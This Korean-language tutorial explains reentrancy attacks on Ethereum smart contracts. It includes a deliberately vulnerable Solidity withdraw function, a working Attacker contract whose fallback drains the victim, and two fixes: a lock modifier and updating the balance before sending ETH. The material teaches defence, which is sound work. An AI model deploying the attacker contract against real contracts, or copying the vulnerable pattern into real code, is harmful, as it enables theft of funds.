재입국

스마트 계약의 외부 호출은 이더리움 블록체인에서 중요한 역할을 하며, 해커가 이를 사용하여 계약에서 추가 코드를 실행하도록 할 수 있습니다. 이러한 종류의 공격은 DAO 해킹에 사용되었습니다.

예제를 통해 이 공격을 이해해 봅시다.

여러 사람으로부터 받은 eth를 저장하고 그들이 다시 인출할 수 있도록 하는 피해자 계약을 고려하십시오.

contract Victim{
    mapping(address => uint) public balances;

    receive() external payable{

    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint bal = balances[msg.sender];
        require(bal > 0, "Your acc balance zero!");

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent == true, "Send failed");

        balances[msg.sender] =0;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}

이제 이것이 피해자 계약에서 모든 자금을 훔치기 위해 공격을 받을 수 있는 방법을 이해합시다.

공격자 계약 체결

피해자로부터 철회를 요청하는 폴백 기능을 만듭니다

.

피해자 계약에 약간의 ETH 보내기

그런 다음 인출하십시오

이제 피해자 계약에서 withdraw() 함수에서 다음 줄이 실행될 때 공격자에서 fallback를 트리거합니다. 그러면 이전withdraw이 완전히 실행되기 전에 withdraw()가 다시 호출됩니다. 이 주기는 피해자 계약의 자금이 고갈될 때까지 계속됩니다

.
(bool sent,) = msg.sender.call{value: bal}("");

이는 balances[msg.sender] =0;의 withdraw()가 여러 번의 withdraw 호출로 인해 실행되지 않기 때문에 발생합니다. 따라서 공격자 계약 주소 균형은 절대 변경되지 않으며 요구 조건은 항상 withdraw() 함수의 주기로 전달됩니다.

휴, 말이 많다. 더 잘 이해하기 위해 공격자 계약을 살펴보겠습니다.

interface IVictim {
    function deposit() external payable;
    function withdraw() external;
}

contract Attacker {
    IVictim public victimContract;
    constructor(address _victimContract) {
        victimContract = IVictim(_victimContract);
    }

    fallback() external payable {
        if (address(victimContract).balance > 0) {
        victimContract.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "< 1 ETH");
        victimContract.deposit{value: 1 ether}();
        victimContract.withdraw();
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}

위의 내용을 이해했다면(내가 잘 전달했다면) 공격자를 막을 수 있는 솔루션을 제시할 수 있을 것입니다. 그렇지 않은 경우 걱정하지 마세요. 계약서를 따르면 더 잘 이해하는 데 도움이 됩니다.

contract VictimGaurded{
    mapping(address => uint) public balances;
    bool internal lock;

    modifier ReentrancyGaurd() {
        require(!lock, "Bad luck Attacker!");
        lock = true;
        _;
        lock = false;
    }

    receive() external payable{

    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external ReentrancyGaurd {
        uint bal = balances[msg.sender];
        require(bal > 0, "Your acc balance zero!");

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent == true, "Send failed");

        balances[msg.sender] =0;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}

기본 아이디어는 이전 호출이 완전히 실행되지 않으면 두 번째 함수 호출이 실패하도록 조건을 설정하는 것입니다.

첫 번째 호출에서 잠금을 확인합니다.

false인 경우 잠금을 true로 변경하고 추가 코드 실행을 허용합니다

.

true인 경우 아직 완전히 실행되지 않은 이전 호출이 있음을 의미합니다. 따라서 오류가 발생합니다.

더 간단한 방법도 있습니다. withdraw() 함수에서 eth를 보내기 전에 잔액을 업데이트하면 재진입이 실패합니다.